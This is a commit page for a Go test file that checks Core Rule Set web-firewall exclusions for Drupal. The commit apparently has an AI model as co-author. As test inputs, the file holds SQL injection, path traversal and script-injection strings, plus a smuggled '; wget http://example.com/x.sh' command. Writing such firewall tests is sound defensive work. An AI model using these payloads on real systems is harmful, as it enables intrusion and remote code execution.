Core Rule Set: Drupal's ordinary requests pass by default (closes #236)
check / check (push) Failing after 4m21s

Adds drupal.conf, the ninth change: on Drupal's paths, the fields that
carry a search, a name, a file name or an address skip the rules that
refused ordinary requests there. The recorded requests from Drupal 11.4
pass at the defaults and while bodies are read; SQL injection, path
traversal and script injection stay refused on those fields.

Model: opus-5-5
This commit is contained in:
sneak committed 2026-11-09 10:01:21 +00:00
1 parent 719691d1e8
commit 8e8bfe6718
7 files changed
+1056 -21

No files matched your search

+334
View File
@@ -0,0 +1,334 @@
package coreruleset_test
import (
"encoding/json"
"net/http"
"os"
"path/filepath"
"strings"
"testing"
)
// drupalRequest is a line of testdata/drupal-requests.txt.
type drupalRequest struct {
Method string `json:"method"`
Target string `json:"target"`
Headers []string `json:"headers"`
Body string `json:"body"`
}
// drupalRequests returns the recorded ordinary Drupal requests.
func drupalRequests(t *testing.T) []drupalRequest {
t.Helper()
text, err := os.ReadFile(filepath.Join("testdata", "drupal-requests.txt"))
if err != nil {
t.Fatal(err)
}
var requests []drupalRequest
for line := range strings.Lines(string(text)) {
if strings.HasPrefix(line, "#") {
continue
}
var r drupalRequest
err := json.Unmarshal([]byte(line), &r)
if err != nil {
t.Fatalf("%q: %v", line, err)
}
requests = append(requests, r)
}
return requests
}
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article.
const drupalAddArticle = "/node/add/article"
// drupalSignIn is Drupal's sign-in page.
const drupalSignIn = "/user/login"
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range drupalRequests(t) {
r := request{recorded.Method, recorded.Target, recorded.Headers}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= drupalThreshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= drupalThreshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
r.method, r.target, recorded.Body, got)
}
}
}
// drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalAttacks = []string{
"1'%20OR%20'1'='1",
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
"%3Cscript%3Ealert(1)%3C%2Fscript%3E",
}
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, attack := range drupalAttacks {
for _, target := range []string{
"/?id=",
"/admin/content?id=",
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/content?destination=",
"/admin/foo?q=",
"/node/1/edit?destination=",
"/user/login?destination=",
"/search/node?keys=",
"/search?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
} {
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const reply = "/comment/reply/node/1/comment"
for _, attack := range drupalAttacks {
for _, sent := range []struct{ target, body string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{drupalSignIn, "pass=" + attack},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
}
}
}
for _, attack := range []string{
`1' OR '1'='1`,
`<script>alert(1)</script>`,
} {
for _, field := range []string{
`"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
}
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
// on the fields that skip the other command rules, as a query value.
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, target := range []string{
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/views/ajax/autocomplete/tag?q=",
"/search/node?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
} {
got := inspect(t, crs, get(target+drupalCommandAttack))
if got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
crs = readingBodies(t)
for _, field := range []string{
"title%5B0%5D%5Bvalue%5D=",
"body%5B0%5D%5Bsummary%5D=",
"revision_log%5B0%5D%5Bvalue%5D=",
"path%5B0%5D%5Balias%5D=",
"field_tags%5Btarget_id%5D=",
"field_image%5B0%5D%5Balt%5D=",
} {
r := request{http.MethodPost, drupalAddArticle, []string{formData}}
got, _ := inspectBody(t, crs, r, field+drupalCommandAttack)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, field, got)
}
}
for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`,
`"body":{"summary":"; wget http://example.com/x.sh"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
// drupalHardValues are the words that name commands and files, as a form
// value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalHardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const subject = "subject%5B0%5D%5Bvalue%5D="
for _, value := range drupalHardValues {
for _, sent := range []struct{ target, field string }{
{"/comment/reply/node/1/comment", subject},
{"/comment/reply/node/1/comment/5", subject},
{"/comment/reply/node/1/field_comments", subject},
{"/comment/reply/media/1/comment", subject},
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
{drupalSignIn, "pass="},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
}
}
}
for _, value := range []string{"python3", "powershell", "ls -la", ".htaccess"} {
r := request{
http.MethodPost, "/user/login?_format=json",
[]string{"Content-Type: application/json"},
}
body := `{"name":"example","pass":"` + value + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestDrupalExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, passes := range []string{
"/admin/content?title=python3",
"/search/node?keys=python3",
"/entity_reference_autocomplete/user/default/KEY?q=python3",
"/jsonapi/node/article?filter%5Btitle%5D=python3",
"/node/1/edit?destination=python3",
} {
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
t.Errorf("%s refused: %+v", passes, got)
}
}
for _, refused := range []string{
"/?title=python3",
"/admin/content?other=python3",
"/?keys=python3",
"/node/1?keys=python3",
"/?q=python3",
"/?filter%5Btitle%5D=python3",
"/python3-notes?destination=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
}
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ path, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
{drupalSignIn, "pass=python3"},
} {
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}